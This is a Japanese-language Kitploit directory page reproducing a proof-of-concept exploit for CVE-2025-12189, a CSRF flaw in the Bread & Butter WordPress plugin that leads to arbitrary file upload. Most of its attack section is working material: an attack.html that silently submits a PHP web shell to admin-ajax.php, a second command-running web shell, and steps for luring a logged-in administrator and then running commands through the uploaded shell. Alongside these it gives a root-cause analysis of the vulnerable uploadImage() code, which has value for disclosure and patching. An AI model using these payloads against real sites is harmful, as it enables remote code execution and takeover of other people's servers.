Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12189 — Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによるナーチャリング <= 7.10.1321 - クロスサイトリクエストフォージェリから任意のファイルアップロード | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-12189
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによるナーチャリング <= 7.10.1321 - クロスサイトリクエストフォージェリから任意のファイルアップロード

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Bread & Butter: コンテンツゲート + リード獲得 + ファーストパーティデータ収集 + AIエージェントによる育成 <= 7.10.1321 - クロスサイトリクエストフォージェリによる任意ファイルアップロード

Bread & Butter IO プラグインの画像アップロード機能には、任意の攻撃者が認証済み管理者を欺いて、PHP Web シェルを含む任意のファイルをサーバーにアップロードさせ、リモートコード実行 (RCE) につなげることができる脆弱性が存在します。この脆弱性は、uploadImage() 関数に CSRF 保護がないことに起因し、攻撃者は管理者のブラウザが自動的に実行する悪意のあるリクエストを細工できます。

この脆弱性は、/bread-butter/src/Base/Ajax.php 内の uploadImage() 関数に存在します。この関数には適切なファイル検証と CSRF 保護がなく、セキュリティチェックの前に file_put_contents() を使用して WordPress のアップロードディレクトリへファイルを直接書き込みます。

TL;DR エクスプロイト

  • CSRF ベースのファイルアップロードエクスプロイトを実証する POC attack.html を以下に示します。
  • より現実的な例も email-lure.html に用意しています。

以下がシンプルな attack.html です:

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

POC は、次のようにしてローカルで実行できます:

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

被害者のブラウザで管理者としてログインした状態でリンクをクリックすると、RCE につながります。

脆弱性の詳細

根本原因の分析

この脆弱性は、/bread-butter/src/Base/Ajax.php の 411行目 にある uploadImage() 関数に存在します:

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

AJAX ハンドラーの登録

脆弱な関数は、95行目 で WordPress AJAX ハンドラーとして登録されています:

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

ここで self::$uploadImage は、37行目 で upload_image として定義されています。

認可チェック

唯一のセキュリティ対策は、166-171行目 の checkAdmin() メソッドです:

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

CSRF エクスプロイト

CSRF 保護の欠如により、この脆弱性はクロスサイトリクエストフォージェリ攻撃を介して悪用可能になります。attack.html の POC は、以下によってこれを実証しています:

  1. 悪意のあるフォームを作成して WordPress AJAX エンドポイントを標的にする
  2. target="_blank" を使用して CORS 制限をバイパスする
  3. PHP Web シェルを埋め込む (HTML/JavaScript 内に直接)
  4. 被害者がボタンをクリックすると、フォームを自動送信する

手動での再現手順

CSRF から RCE へのエクスプロイト

  1. CSRF ペイロードを含む HTML ページを作成する (attack.html を参照)
  2. ページを任意の Web サーバー (攻撃者管理) で配信する
  3. 管理者を欺いて悪意のあるページに訪問させる
  4. 管理者のブラウザがフォームを自動送信する
  5. 悪意のあるファイルが WordPress サイトにアップロードされる
  6. アップロードされたシェルに /wp-content/uploads/[year]/[month]/test.php?cmd=whoami でアクセスする

直接エクスプロイト (管理者が必要)

  1. 管理者権限で WordPress 管理パネルにログインする
  2. Bread & Butter プラグインの設定に移動する
  3. 画像アップロード機能を使用するか、/wp-admin/admin-ajax.php に直接 AJAX リクエストを送信する
  4. 悪意のあるコンテンツを含む PHP ファイルをアップロードする:
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. アップロードされたファイルに /wp-content/uploads/[year]/[month]/[filename].php でアクセスする
ツールをダウンロード